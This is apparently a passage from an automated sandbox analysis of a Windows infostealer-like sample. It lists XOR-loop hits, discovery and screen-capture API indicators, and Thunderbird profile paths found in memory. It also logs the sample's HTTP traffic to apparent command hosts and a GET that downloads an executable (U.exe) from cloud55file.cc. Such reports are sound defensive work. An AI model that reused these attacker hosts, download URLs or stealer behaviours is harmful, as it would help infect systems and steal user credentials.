"sample.bin" at offset 84434; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 750456; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1002116; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1070652; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1245163; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1335954; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1339480; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1339922; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1365394; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1805832; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2082584; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2082632; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2083616; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2083772; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2083832; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2084084; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2084516; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2085248; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2085944; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2086772; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2086880; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2087252; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2088968; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2089508; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2089964; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2090012; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2090240; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2090708; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2090960; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2090972; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2091224; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2091836; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2091920; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2091944; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2092256; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2092760; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2092808; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2093132; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2093144; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2094584; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2094776; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2096228; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2096888; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2097668; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2097788; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2098796; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2099276; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2099288; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2099324; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2099468; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2099480; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2099504; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2099972; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2272832; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 730672; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 951875; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1193886; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1345220; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1347972; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1892308; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 181046; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 218857; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 219217; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 219617; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 221779; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 244273; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 264400; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 406725; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 407421; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 408062; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 418441; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 579951; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 579986; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1192725; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1230537; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1646828; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1935232; code bytes = 80302c:T474,file/memory contains long string with (Indicator: "GetCommandLine"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found string "syscall.GetCommandLine" (Indicator: "GetCommandLine"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found string "syscall.procGetCommandLineW" (Indicator: "GetCommandLine"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00004084-00000C2B-1061147170") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00004084-00000C2B-1061208182") file/memory contains long string with (Indicator: "GetCommandLine"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") Found string "syscall.GetCommandLine" (Indicator: "GetCommandLine"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp, 00000000-00006876.00000003.143408.00433000.00000002.mdmp") Found string "syscall.procGetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00006876.00000003.143408.00433000.00000002.mdmp")2d:T450,Found system information discovery API: "GetSystemInfo" in file "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin" Found system information discovery API: "GetEnvironmentStringsW" in file "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin" Found system information discovery API: "GetEnvironmentStrings (in long string)" in file "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin" Found system information discovery API: "ExpandEnvironmentStrings (in long string)" in file "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin" Found system information discovery API: "RtlNtStatusToDosError (in long string)" in file "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin" Found system information discovery API: "internal/syscall/windows.procRtlNtStatusToDosErrorNoTeb" in file "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin" Found system information discovery API: "internal/syscall/windows.procRtlNtStatusToDosErrorNoTeb" in "00000000-00006876.00000003.143408.00433000.00000002.mdmp"2e:T2567," HTTP/1.1 200 OK date: Fri 29 May 2026 12:14:44 GMT server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 x-powered-by: PHP/8.2.12 content-length: 425 content-type: text/html; charset=UTF-8 with response body ==>60397C392139736F6F6B2147344734222E35232E35292822352A2F2D21282B2B2B4734797A295549627D6873545F573937397772686F39214060397E39214039....... "GET /doero?param=4AlOWFyECShkqtBrXhaA HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38 Host: neuralpulsecore5.sbs" Response ==> HTTP/1.1 200 OK date: Fri 29 May 2026 12:14:45 GMT server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 x-powered-by: PHP/8.2.12 content-length: 11 content-type: text/html; charset=UTF-8 with response body ==>60397772686F3921404666....... "GET / HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38 Host: api.myip.com" Response ==> HTTP/1.1 200 OK Date: Fri 29 May 2026 12:14:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=rMCs%2Bd3vVQfj0X7egxINtv%2BBWhxw2sR9dMVYeBHl0TSOH2y0LudfTQAapqFvR3vsiFaR%2B5TJjIaB1I3fZ5WkFg94Vb9lUk6aHEo3dS79PxKmoSnLywLUlMCj9G1brw%3D%3D"}]} vary: Accept-Encoding Server: cloudflare x-turbo-charged-by: LiteSpeed cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: a0356bb3baffebed-SJC with response body ==>7B226970223A2236342E3132342E31322E313632222C22636F756E747279223A22556E6974656420537461746573222C226363223A225553227D....... "GET /load/os1/U.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38 Host: cloud55file.cc" Response ==> HTTP/1.1 200 OK date: Fri 29 May 2026 12:14:47 GMT server: Apache/2.4.58 (Ubuntu) last-modified: Thu 28 May 2026 16:35:47 GMT etag: "366c80-652e352051bfc" accept-ranges: bytes content-length: 3566720 content-type: application/x-msdos-program with response body ==>4D5AC290000300000004000000C3BFC3BF0000C28B00000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /VAVCrfcP6SNX HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38 Host: 95.85.239.146:3000" Response ==> HTTP/1.1 302 Found X-Powered-By: Express X-Access-Mode: public Location: https://img3.akspic.ru/previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg Vary: Accept Content-Type: text/plain; charset=utf-8 Content-Length: 146 Date: Fri 29 May 2026 12:14:52 GMT Connection: keep-alive Keep-Alive: timeout=5 with response body ==>466F756E642E205265646972656374696E6720746F2068747470733A2F2F696D67332E616B737069632E72752F70726576696577732F382F342F302F362F372F....... "GET /previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38 Host: img3.akspic.ru" Response ==> HTTP/1.1 200 OK Server: nginx Date: Fri 29 May 2026 12:14:52 GMT Content-Type: image/jpeg Content-Length: 134818 Last-Modified: Sat 06 Jul 2024 07:26:33 GMT Connection: keep-alive Keep-Alive: timeout=60 ETag: "6688f1a9-20ea2" Expires: Thu 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: immutable Access-Control-Allow-Origin: * Special-Location: matched Accept-Ranges: bytes with response body ==>C3BFC398C3BFC3A000104A46494600010100000100010000C3BFC39B0043000302020302020303030304030304050805050404050A070706080C0A0C0C0B0A0B....... "GET /ba2NRyfshODL HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38 Host: 95.85.239.146:3000" Response ==> HTTP/1.1 302 Found X-Powered-By: Express X-Access-Mode: public Location: https://img3.akspic.ru/previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg Vary: Accept Content-Type: text/plain; charset=utf-8 Content-Length: 146 Date: Fri 29 May 2026 12:14:53 GMT Connection: keep-alive Keep-Alive: timeout=5 with response body ==>466F756E642E205265646972656374696E6720746F2068747470733A2F2F696D67332E616B737069632E72752F70726576696577732F382F342F302F362F372F....... "GET /previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38 Host: img3.akspic.ru" Response ==> HTTP/1.1 200 OK Server: nginx Date: Fri 29 May 2026 12:14:53 GMT Content-Type: image/jpeg Content-Length: 134818 Last-Modified: Sat 06 Jul 2024 07:26:33 GMT Connection: keep-alive Keep-Alive: timeout=60 ETag: "6688f1a9-20ea2" Expires: Thu 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: immutable Access-Control-Allow-Origin: * Special-Location: matched Accept-Ranges: bytes with response body ==>C3BFC398C3BFC3A000104A46494600010100000100010000C3BFC39B0043000302020302020303030304030304050805050404050A070706080C0A0C0C0B0A0B.......3a:T1580,"" (Indicator: "GetDC"; Source: "00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp")4c:T632,file/memory contains long string with (Indicator: "GetUserName"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "NetUserGetInfo"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "LookupAccountSid"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "LookupAccountName"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "NetGetJoinInformation"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "GetUserName"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "NetUserGetInfo"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountSid"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountName"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTokenInformation"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp")4d:Te55,Found string "chacha8" (Indicator: "chacha"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found string "*chacha8rand.State" (Indicator: "chacha"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found string "internal/chacha8rand" (Indicator: "chacha"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "aes"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "3des"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found string "internal/chacha8rand.(*State).Init" (Indicator: "chacha"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found string "internal/chacha8rand.(*State).Init64" (Indicator: "chacha"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found string "internal/chacha8rand.(*State).Refill" (Indicator: "chacha"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found string "internal/chacha8rand.(*State).Reseed" (Indicator: "chacha"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found string "internal/chacha8rand.(*State).Next" (Indicator: "chacha"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found string "internal/chacha8rand.block" (Indicator: "chacha"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found string "type:.eq.internal/chacha8rand.State" (Indicator: "chacha"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found string "runtime.initAlgAES" (Indicator: "aes"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found string "aeshashbody" (Indicator: "aes"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found string "internal/chacha8rand/chacha8.go" (Indicator: "chacha"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found string "internal/chacha8rand/chacha8_amd64.s" (Indicator: "chacha"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found string "runtime.useAeshash" (Indicator: "aes"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found string "runtime.aeskeysched" (Indicator: "aes"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found string "chacha8" (Indicator: "chacha"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") Found string "*chacha8rand.State" (Indicator: "chacha"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") Found string "internal/chacha8rand" (Indicator: "chacha"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") Found string "???pc= GEOFintmapadxaesshaavxfmanet dBZ/tmpTERMbindsyncpipefile3125true-Inf+Infallgallprootitabsbrkidledead is LEAFheapbase at Has of ) = <==GOGC] = pc=: p=cas1cas2cas3cas4cas5cas6" (Indicator: "aes"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "3des"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") Found string "internal/chacha8rand.(*State).Init" (Indicator: "chacha"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp, 00000000-00006876.00000003.143408.00433000.00000002.mdmp") Found string "internal/chacha8rand.(*State).Init64" (Indicator: "chacha"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp")4e:T914,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "Process32Next"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "Module32Next"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "Process32First"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "Module32First"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "GetModuleHandle"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "GetCurrentProcess"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "GetEnvironmentStrings"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "Process32Next"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "Module32Next"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "Process32First"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "Module32First"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "GetModuleHandle"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "GetCurrentProcess"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp")4f:T5bd,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "GetProcAddress"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "syscall.GetProcAddress" (Indicator: "GetProcAddress"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "syscall._GetProcAddress" (Indicator: "GetProcAddress"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "syscall.procGetProcAddress" (Indicator: "GetProcAddress"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "GetProcAddress"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") Found reference to API "syscall.GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp, 00000000-00006876.00000003.143408.00433000.00000002.mdmp") Found reference to API "syscall._GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp, 00000000-00006876.00000003.143408.00433000.00000002.mdmp") Found reference to API "syscall.procGetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00006876.00000003.143408.00433000.00000002.mdmp")50:Te0c,Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "GetTempPath"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "GetFileAttributes"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "GetCurrentDirectory"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "ReadDirectoryChange"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "QueryInformationFile"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "GetFileInformationByHandle"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "internal/syscall/windows.NtQueryInformationFile" (Indicator: "QueryInformationFile"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "internal/syscall/windows.ErrorLoadingGetTempPath2" (Indicator: "GetTempPath"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "os.useGetTempPath2" (Indicator: "GetTempPath"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "internal/syscall/windows.procGetTempPath2W" (Indicator: "GetTempPath"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "internal/syscall/windows.procNtQueryInformationFile" (Indicator: "QueryInformationFile"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTempPath"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "GetFileAttributes"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "GetCurrentDirectory"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") Found reference to API "internal/syscall/windows.NtQueryInformationFile" (Indicator: "QueryInformationFile"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp, 00000000-00006876.00000003.143408.00433000.00000002.mdmp") Found reference to API "internal/syscall/windows.ErrorLoadingGetTempPath2" (Indicator: "GetTempPath"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") Found reference to API "os.useGetTempPath2" (Indicator: "GetTempPath"; Source: "00000000-00006876.00000003.143408.00433000.00000002.mdmp") Found reference to API "internal/syscall/windows.procGetTempPath2W" (Indicator: "GetTempPath"; Source: "00000000-00006876.00000003.143408.00433000.00000002.mdmp") Found reference to API "internal/syscall/windows.procNtQueryInformationFile" (Indicator: "QueryInformationFile"; Source: "00000000-00006876.00000003.143408.00433000.00000002.mdmp")51:T420,file/memory contains long string with (Indicator: "GetModuleFileName"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "internal/syscall/windows.GetModuleFileName" (Indicator: "GetModuleFileName"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "internal/syscall/windows.procGetModuleFileNameW" (Indicator: "GetModuleFileName"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "GetModuleFileName"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") Found reference to API "internal/syscall/windows.GetModuleFileName" (Indicator: "GetModuleFileName"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp, 00000000-00006876.00000003.143408.00433000.00000002.mdmp") Found reference to API "internal/syscall/windows.procGetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00006876.00000003.143408.00433000.00000002.mdmp")52:T1008,"??\C:\Users\Classic .NET AppPool\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00006876.00000001.136543.02B60000.00000004.mdmp 00000000-00006876.00000002.138464.02B60000.00000004.mdmp "??\C:\Users\Default User\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00006876.00000001.136543.02B60000.00000004.mdmp 00000000-00006876.00000002.138464.02B60000.00000004.mdmp "\??\C:\Users\Public\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00006876.00000001.136543.02B60000.00000004.mdmp 00000000-00006876.00000002.138464.02B60000.00000004.mdmp "\??\C:\Users\.NET v4.5 Classic\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00006876.00000001.136543.02B60000.00000004.mdmp 00000000-00006876.00000002.138464.02B60000.00000004.mdmp "\??\C:\Users\Default User\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00006876.00000001.136543.02B60000.00000004.mdmp 00000000-00006876.00000002.138464.02B60000.00000004.mdmp "\??\C:\Users\Default\AppData\Roaming\Thunderbird\Profiles" in 